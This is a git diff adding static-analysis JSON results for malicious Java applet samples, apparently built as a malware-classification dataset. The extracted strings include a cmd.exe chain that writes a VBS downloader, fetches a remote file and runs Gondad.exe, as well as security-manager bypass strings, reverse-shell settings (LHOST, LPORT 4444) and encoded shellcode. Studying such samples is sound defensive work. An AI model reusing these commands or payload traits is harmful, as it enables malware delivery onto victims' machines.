["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,Pn,pN,pn,pl,Pl,Pz,0L,Pj,0n,pm,8g,pu,PS,0s,08,ku,Py,yk,L7,pe,PG,p3,oc,TM,qf,Pg,pe,PU,PP,xT,LL,KQ,PD,Ll,KB,Pu,Ln,Mn,kS,XW,xJ,KW,yL,Ks,pv,Tl,MQ,PC,LL,Kp,hw,Ll,Ky,g2,Ju,TP,YM,8N,oW,pw,pu,PY,rh,yC,XP,op,n3,0U,PQ,xB,Us,BP,lR,Mp,T9,o4,VL,Kk,Xy,xp,yg,pu,PG,pl,KX,Wb,gM,PE,o7,pQ,eK,Jp,Ga,G2,gm,PE,oe,Pp,u8,zL,Kx,oq,Op,3k,yo,qh,lu,Tf,aE,Pw,pN,ky,L2,qc,bf,3a,xu,TU,QE,P7,pI,o2,vT,Lc,jP,YP,QS,bL,Ke,RR,sq,Sk,0G,Ke,Pr,Uy,jM,QC,Ky,lD,n5,5b,XS,Up,uS,3O,sz,KW,xK,9S,3k,wq,SS,4f,Nr,EP,xQ,uK,va,SV,hc,03,km,ZY,QU,TP,0K,87,57,pu,ck,pf,0r,pr,sV,7P,PK,OV,6d,Po,sh,xu,PP,uW,vR,J5,Q2,sI,oS,fs,4S,jb,yL,Ck,re,TQ,QM,Pw,J7,pr,UN,TI,oP,Vu,Xb,qS,fl,KP,uu,lN,kr,TV,NT,8e,Sj,U1,FL,KC,Fg,Pt,CK,E7,Cx,Ig,9c,qL,me,SY,Up,3Y,KT,OO,NT,PV,ZY,FR,TT,HZ,aj,k4,Md,Cj,zQ,PJ,KL,1U,kw,or,UK,Wa,Nl,Ka,NQ,4S,39,MC,Vn,kv,l0,KL,Ka,Nu,Le,Sk,mn,kd,DL,K4,C9,UL,kq,Np,Y9,S8,hk,OK,NK,OY,oN,np,NT,N8,lm,Hk,No,z6,nQ,nj,xk,RQ,cW,CH,JL,Js,kv,VG,j6,OB,PS,rp,ub,OR,eg,p5,8s,DS,DR,PV,ZF,Of,Or,Mp,yP,re,9p,fb,Fr,R3,QC,Ve,6P,r1,yc,Ts,Up,sd,nS,SP,op,m6,O3,Sp,or,NQ,da,ur,N1,d4,os,Q0,zS,Jd,n1,xP,tp,mr,L4,oc,Jt,pp,0v,X6,Qt,pP,65,bv,Pv,QE,cT,qF,Xt,2p,04,tv,PD,yQ,Zp,0r,DT,pP,06,Pp,6T,pp,1R,rq,sg,G7,FT,qd,s6,VT,y4,uQ,GF,Sf,UV,Q7,D4,ve,bC,UW,GS,hU,aT,qT,wc,RQ,rP,fp,e3,QQ,IV,UC,Q0,eu,bw,Bv,Rv,Q0,81,Jf,P5,a4,pV,PQ,vF,Pe,g4,pG,pS,0A,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "25d91750fa83d8c77771370b33126b26ee9d31fe", "file_name": "java_malicious/08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7", "_id": "dae3ed69-b7eb-45b7-a5c1-0adac88c579b", "score": 0, "entropy": 5.980827146290554, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3144, "ssdeep": "96:hFFlW2IAXKsjVPEkwIQRxC92XQjt9bKsCn:1lW2ID4xEmQRxEkQpRKx", "sha256": "08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7", "md5": "9e9ce5bd4a2c24b270304798b8b17b23", "parent_sha256": "08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30.results b/java_classification/data/malicious/08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30.results
new file mode 100755
index 0000000..422bb29
--- /dev/null
+++ b/java_classification/data/malicious/08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "iACVKaBQCV/HhtBSGn", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "96719f4a-ff21-4246-9e1f-33d0b35966ef", "verbose": {"java": {"constant strings": ["iACVKaBQCV.HhtBSGn", ".class", "/iACVKaBQCV.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "iACVKaBQCV.dat", "URL", "", "https:", "iACVKaBQCV/HhtBSGnTrustManager.class", "HhtBSGnTrustManager.class", "AESPassword", "iACVKaBQCV/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "iACVKaBQCV.HhtBSGnTrustManager", "useFor", "java.net.URLConnection", "iACVKaBQCV.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "HhtBSGn -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d34cbd3628eb43aabdec8e00f2a5b79e2b7c3610", "file_name": "java_malicious/08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30", "_id": "96719f4a-ff21-4246-9e1f-33d0b35966ef", "score": 0, "entropy": 6.148765814173445, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tVTGEFtmOVyNvpvUrKYvCkgHzbDrDF:5+/PyNvZU+YvaH3B", "sha256": "08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30", "md5": "9456472829a4e0c6ac8b3b8c94d3568c", "parent_sha256": "08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad.results b/java_classification/data/malicious/0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad.results
new file mode 100755
index 0000000..706b267
--- /dev/null
+++ b/java_classification/data/malicious/0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "936ef7cd-7dd0-4e98-9a8b-e81577bcba6d", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "KXHW6qRLw0otYI1oL", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo gond=\"KXHW6qRLw0otYI1o\">>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\KXHW6qRL.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bd4a2ee6f06dff4e25d9c3f094ec06769a2c73ca", "file_name": "java_malicious/0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad", "_id": "936ef7cd-7dd0-4e98-9a8b-e81577bcba6d", "score": 0, "entropy": 5.927092681774926, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/5B3pDhZ0A5biQvtJm5Hijd0C6XcUdvXdGOHM89TAG8PnI:CzGlRB3pDv1istHyxXc6dZM89bUI", "sha256": "0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad", "md5": "c8acf40fe5a5a08f579525749c278570", "parent_sha256": "0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5.results b/java_classification/data/malicious/0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5.results
new file mode 100755
index 0000000..a82820c
--- /dev/null
+++ b/java_classification/data/malicious/0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "9996e94c-fd99-47da-9d30-4dd028856233", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,PN,pN,pL,PJ,0N,pz,0n,pK,YK,Ks,05,P7,pQ,Ou,4M,qD,pw,pw,pW,pl,K3,pV,lN,kp,pU,LN,MN,kr,H7,PO,p1,mT,Ld,ss,DS,3L,Vz,Kz,SL,K0,h5,XL,K8,w3,Z4,Dr,yM,8L,O7,pg,pu,Pk,Rx,ys,XP,oP,nS,0w,pS,Xp,uq,bb,LP,mP,TK,OW,fL,Km,8Y,xb,Y7,pW,pW,pN,kJ,wR,gK,0U,oU,Pa,eJ,ZS,w0,WG,7o,p5,oW,pQ,ex,zl,Kz,O1,Ot,s9,YK,1X,lT,Dg,qu,Pw,pl,Ky,LV,1v,20,Sc,XW,tf,a5,PW,pK,OC,fV,l3,jV,9R,qf,2L,KD,BR,sP,CK,0W,K7,pB,UJ,ZM,Qq,kI,ld,nQ,up,x5,5P,ud,CN,cZ,Kt,Ho,yS,3k,w2,c6,d4,nC,U1,hc,Uk,vR,cv,hE,P1,Kn,jk,qt,D4,pk,8s,uW,pt,sk,p2,pV,0s,cB,wr,pk,O2,vr,0N,cZ,XU,P0,uT,F3,Z3,1p,Sk,Of,63,4c,j2,yl,CO,2T,Da,QO,pd,zE,Pp,uO,Di,os,fs,8P,QC,fN,kt,57,LL,K2,TE,er,Xg,sh,u0,VN,k1,fg,PW,sI,eE,cy,YS,ys,qL,m7,s9,UT,sk,k4,OM,nD,PV,X8,rP,tT,Hz,aX,K4,Md,Cy,Jc,pZ,Kh,qg,Kg,o4,5Y,wa,NN,kq,Ne,tv,cy,MQ,vN,kD,L2,kN,kc,nU,L5,SK,mn,k7,tl,Kg,sX,EL,kQ,Np,YX,Ci,xW,pK,OK,OI,oL,NR,n6,nX,lN,xK,Nn,jt,Nq,nx,XJ,Bb,ST,sj,jL,JQ,Kp,6t,Z4,oR,PG,8p,DQ,tP,rC,0B,Hq,dQ,dR,PT,z4,od,oP,k2,LU,54,6P,eT,2d,np,iq,wP,nP,ob,RP,eR,LR,Ip,sB,TT,np,cP,oR,Md,oQ,yr,Nq,vR,OV,Op,up,s0,1v,Np,hP,tP,mB,Lt,o0,nV,PP,0u,1v,QF,P7,F0,2p,0t,qU,cV,Q5,hp,rF,Pw,DV,PP,9C,z0,0E,5V,P6,PF,P4,vV,PU,aB,rU,hu,fu,gu,cw,H4,st,y5,6F,7S,Ur,C6,Ue,fF,YE,6V,R5,gP,X4,yP,6t,rw,GQ,rq,sF,Vp,0R,yp,du,40,f0,8p,au,44,tq,ua,JD,pV,Qv,Pp,05,6v,Pf,XV,P5,PU,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fb0687099df3a7f84e6995261b138da17d0fcae6", "file_name": "java_malicious/0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5", "_id": "9996e94c-fd99-47da-9d30-4dd028856233", "score": 0, "entropy": 5.998251818187458, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3111, "ssdeep": "96:hFFl/OjCjWW20kPMHpRxC92XQjt9bKsCn:1laCjBJSMHpRxEkQpRKx", "sha256": "0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5", "md5": "57a737f59e1f22e4022542d1437b50b4", "parent_sha256": "0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/0a89b5023cc1f14f5f07ceed1878534664086fb1e360e8087e0b6614b27ba615.results b/java_classification/data/malicious/0a89b5023cc1f14f5f07ceed1878534664086fb1e360e8087e0b6614b27ba615.results
new file mode 100755
index 0000000..1517799
--- /dev/null
+++ b/java_classification/data/malicious/0a89b5023cc1f14f5f07ceed1878534664086fb1e360e8087e0b6614b27ba615.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "enudwwlhl/yhfwcgjacjjauyvut", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["knjkb", "B", "cmjnkr", "jmdpes", "tqffjybms", "vtvtmh", "<init>", "cndbtaraw", "eylcpkecdkt", "uhwsrwydr", "srtgl"], "minor_version": 0, "const_pool_count": 545}}, "_id": "e931c031-4200-49eb-be26-0d6061563564", "verbose": {"java": {"constant strings": ["R\\x06\\x19\\x13\\x08@\\x19\\x10P\\r\\x11\\x17\\x04\\x02\\x01\\x10R\\r\\x1a", "\\x16\\x19\\x07\\x18\\x12\\xc0\\x80\\x08A\\x15E\\x03\\x1eQLWA\\x17\\x18R\\x18U", "T\\x05\\x1aL\\x01", "WA\\n\\x0e\\x08\\x06\\r\\x10\\x02\\r\\x0e\\x10Q@\\x17\\x07\\x06\\x19Q", "\\x0eRGWLR\\r\\x0c\\x0e\\x14\\x0e\\x12E\\x04\\x04V\\x06\\x11\\x06X\\x01\\x19\\x13\\n\\xc0\\x80R\\x16V\\x04T", "@QCPLS", "@XMUEW", "\\x15U\\x05U", "WGPDW", "DXF\\x13\\x1a\\x04", "P\\x1a\\x07LW\\x04\\x10\\x16\\x02\\x01\\x15\\x12R\\x13PF\\x0c", "\\x11\\x05\\x10\\x17\\x1e\\x1a", "\\x11\\x03\\xc0\\x80\\x01\\x18\\x17D\\x1a\\x1c\\x0bB\\x10", "ARGR@X", "\\x04G\\x04\\x13\\x0e\\x15X\\x07\\x1a\\x03\\x14\\x16\\x10\\x06\\x07ES\\x06P", "F\\x19B\\x19\\x18UE\\x01\\x01\\x0e\\x18\\x16\\x05R\\x05R@\\x03\\x1f\\x0cA\\n", "G\\x13CP\\x13VE\\x0e\\x19\\x05", "\\x13\\x1e\\x17\\x07\\x10\\x01PC\\x16\\x1eU\\x1e\\x16\\x19\\x0b\\x17VE\\x10\\r\\x1a", "F\\x06\\x11R\\x11U\\x17UFVF\\x02\\x16U", "\\x08\\x07\\x07\\x10\\x08\\r\\x19", "F\\x04\\x11P\\x11\\x01", "\\x04\\r\\x19", "\\x13\\x02E\\x0cL\\x11", "U\\x03XE\\x0c\\x17\\x14CR\\x12\\rG\\x0e\\x1e\\x07\\x18P\\x1eRL\\x06\\x1a\\x17\\x1cW\\x16\\x14@\\x06", "\\x04P\\x16\\n\\x1a\\x07\\x19\\x04E\\x07E\\x02\\x13\\x17", "A\\x0b\\x10\\x12\\x1f\\x13\\x04T\\x03\\x0e\\x1c\\x1a\\x1a\\x05\\x03\\x10@\\x06\\x1a\\x14G\\x13\\x1e\\x12", "\\x07\\n\\x1e\\x10", "F\\x06", "\\n\\x04\\x01\\xc0\\x80\\x10\\x18\\x07\\x1d\\r", "GY\\x12X\\x12X", "\\x15\\t\\x19\\t\\x15\\x04\\x03\\x15", "FU\\x12X\\x12V\\x11SBQFW\\x15\\x06\\x17WFSEW\\x15\\x01\\x12V\\x16PAX\\x17\\x02GS", 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\ No newline at end of file
diff --git a/java_classification/data/malicious/0b8dbfc7dbf28627c708d975d3ddfcf66fc0ad6a1bcdbbe40701f30170102e98.results b/java_classification/data/malicious/0b8dbfc7dbf28627c708d975d3ddfcf66fc0ad6a1bcdbbe40701f30170102e98.results
new file mode 100755
index 0000000..be5f12e
--- /dev/null
+++ b/java_classification/data/malicious/0b8dbfc7dbf28627c708d975d3ddfcf66fc0ad6a1bcdbbe40701f30170102e98.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0.results b/java_classification/data/malicious/0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0.results
new file mode 100755
index 0000000..5e3c2aa
--- /dev/null
+++ b/java_classification/data/malicious/0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "fawc.java", "class_name": "fawa/fawc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["fawa", "fawb", "<init>", "fawa", "fawa"], "minor_version": 0, "const_pool_count": 661}}, "_id": "e1d2a090-c73f-4450-b199-c2835a10ad65", "metadata": {"mimetype": "application/x-java-applet", "sha1": "1709d45dae9c0a5f98bb1541d62bc9cda5400ce7", "file_name": "java_malicious/0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0", "_id": "e1d2a090-c73f-4450-b199-c2835a10ad65", "score": 0, "entropy": 5.167042533820979, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6692, "ssdeep": "96:S/UIlhNvm4gHyBkXKn3ZFPDBn9J3V4irbnwCArsGp4o5ln4lMovP1sIV5lhIFNk:srh1m4rFnTDBnHV4iPGVn4v6olark", "sha256": "0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0", "md5": "2924b9cff13880c7ea5aac20e600c5d4", "parent_sha256": "0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337.results b/java_classification/data/malicious/0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337.results
new file mode 100755
index 0000000..461ab2f
--- /dev/null
+++ b/java_classification/data/malicious/0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "eagkscafbbtbetw/bdlpevgqghvnd", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "getType", "getColorModel", "getSampleModel", "<clinit>"], "minor_version": 0, "const_pool_count": 117}}, "_id": "603eb3c8-fe97-42cb-916b-3f20ec70d656", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "gls5wmc0c4l12nly613vub47"}}}, "constant strings": ["6gsf7fnmkq", "gls5wmc0c4l12nly613vub47"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d55b335c84dac3bc633ac6e139009b96075465cf", "file_name": "java_malicious/0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337", "_id": "603eb3c8-fe97-42cb-916b-3f20ec70d656", "score": 0, "entropy": 5.7143890968756965, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1878, "ssdeep": "48:t8FfwBXb4GhWkSxUfJZPzE3qd0cIQP5Rco8TG8KUugF1:qFGWhxOJZkA0cIQP5RcK8KqF1", "sha256": "0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337", "md5": "be9455462157d92d2798280b08f9ed3d", "parent_sha256": "0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b.results b/java_classification/data/malicious/0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b.results
new file mode 100755
index 0000000..61ff106
--- /dev/null
+++ b/java_classification/data/malicious/0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "exploit/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["<init>", "disableSecurity", "GetClass", "SetField", "init", "paint", "main"], "minor_version": 0, "const_pool_count": 165}}, "_id": "4070140a-06ed-428d-983d-71319a779bb2", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "getField"}}}, "constant strings": ["setSecurityManager", "file:///", "acc", "forName", "sun.awt.SunToolkit", "getField", "calc.exe", "Loading"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9f9206eb4195158b2d76b7a5950db14222786cd4", "file_name": "java_malicious/0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b", "_id": "4070140a-06ed-428d-983d-71319a779bb2", "score": 10, "entropy": 5.4874858102346185, "libmagic": "compiled Java class data, version 51.0", "file_size": 3288, "ssdeep": "48:TZ+yFlouqFdh6uD6jPyZ1iBY0Za9hvVuSCOvzgQbWkfJpHc2htmiUaHJ8XLF5zC1:T5FlJSwnZaA8/aWUap6jCDDAI", "sha256": "0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b", "md5": "26fbaa7e9034c2cc6bbe7c127d5171ac", "parent_sha256": "0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c.results b/java_classification/data/malicious/0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c.results
new file mode 100755
index 0000000..17c04a4
--- /dev/null
+++ b/java_classification/data/malicious/0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "a9626543-2df9-4ff5-9280-fdf4963717a8", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "fa2e8d8b-4e23-4c56-b4f7-49c8bedb7481", "metadata": {"mimetype": "text/plain", "sha1": "e13aa104447eb2d57a0d6401d9fb66857e9bf68f", "file_name": "long string 0", "_id": "fa2e8d8b-4e23-4c56-b4f7-49c8bedb7481", "score": 0, "entropy": 4.777708717193893, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1328, "ssdeep": "24:miLAz4kKBV/eWdz5/qp6tYiu6hORmKS9axHW6Lm6k9reUQXCFBJyCW:myzvBV/eWHSUtYiusomKSSHtrDUQXC5g", "sha256": "26620bbec9f8fef04f39a8c621ab2f34b97db9b603efaa389d8b5552d7e41527", "md5": "6e37e8b5337962461768f8e447734df4", "parent_sha256": "0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c"}}], "combined strings entropy": 4.811205149595807}, "constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,Pl,Pl,PL,PN,pZ,0n,pL,PI,yK,KU,Pu,Pg,pa,Os,Tl,av,Pe,PU,P5,PN,k3,pt,LL,KR,PE,Ll,mL,K3,Xu,pK,0S,MT,LT,sQ,d4,Co,fj,K9,cn,k2,Hw,xn,kK,G0,jg,tv,99,xl,Ou,Pe,Pg,pk,Rl,9p,h2,OP,nW,pw,pS,X0,u4,2r,L2,Mc,dY,ob,6L,KJ,HM,8T,9w,pg,pU,Pn,kk,ga,WO,pg,Ou,PC,EK,JR,g0,Wb,go,pg,Ou,PR,Ux,zl,KH,o1,OU,cz,iM,QZ,Ls,4g,qG,pU,PL,K9,LV,13,bP,Ss,Xg,tG,qS,0E,PK,OP,VF,lB,z0,YS,ap,RN,k3,2V,3a,SM,Pw,KE,PT,5J,ZM,Q1,kK,LV,Nr,EQ,hC,UQ,ec,3O,sz,KT,Hm,Yf,cz,g3,sW,tv,NP,es,H1,u8,Fg,35,XU,PQ,Kl,Jk,qS,4f,PL,H3,ue,P4,sK,pR,p0,PC,cC,g0,Pk,Op,V4,PK,3J,Xg,pR,Uv,fR,Jg,qS,ck,Oq,Fw,t2,zB,yN,cj,bc,4S,qo,pD,zc,00,uX,4i,or,v4,H3,aR,vl,Kb,U5,ll,K1,dW,EB,XV,cX,up,VL,Kr,Vq,0W,si,ee,cx,I0,IW,1l,m5,SK,uW,Cy,Kf,om,n6,pp,8x,rT,4e,Xo,1J,kV,mV,cz,zq,PX,kL,1g,K5,O3,EM,7s,nl,Ka,NQ,4d,Cy,M5,6L,Kt,Lb,kl,Ka,Nu,LV,ci,Mn,ku,Tl,KD,CK,uL,kq,NV,9z,cM,8U,Py,oy,oI,on,nP,NT,Nz,LN,xk,Nm,Zf,nq,nN,8H,b3,Cu,cK,zO,zS,kd,vt,ZT,op,ps,Zp,Dq,Us,Sc,gP,q2,jR,M7,pp,hB,TD,4P,pT,zd,o6,OV,Qp,2W,Dv,XD,wp,2P,4t,qF,Qe,hd,nP,wb,Mp,dr,OP,tf,NQ,sB,Or,Mv,OR,Cq,w3,Yv,Mp,bC,YP,nD,o4,3p,ts,QB,TQ,ys,Sd,n1,qT,3P,pr,Xv,Or,Nv,Pv,PD,rd,q4,pF,RW,CV,Q7,Ht,x0,0f,Qr,RV,PU,dv,PP,92,jV,PP,f4,pf,Pf,Pd,vt,pu,ar,r3,Te,b5,ap,7Q,tU,2W,Ft,qS,g1,qQ,uu,hT,yE,cP,6U,2V,T2,x6,YT,tg,IT,rg,Cr,D4,xd,rV,93,T1,vw,D7,Gf,P5,a5,bE,5P,ZP,04,s4,pd,pd,yB,Fp,3p,5G,pg,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "84f80207ce1f91c43ae23d15a597bbdb8e83b4f1", "file_name": "java_malicious/0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c", "_id": "a9626543-2df9-4ff5-9280-fdf4963717a8", "score": 0, "entropy": 5.990856499341493, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3138, "ssdeep": "48:4vVk0yFl2yzvBV/eWHSUtYiusomKSSHtrDUQXC5yP5GUFwIsFlXRkHccQjtZtgoG:hFFlJFdesuUirDuoxRxC92XQjt9bKsCn", "sha256": "0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c", "md5": "64ca73b8b041457b7c2bd2f9855666fa", "parent_sha256": "0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06.results b/java_classification/data/malicious/0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06.results
new file mode 100755
index 0000000..c83bf77
--- /dev/null
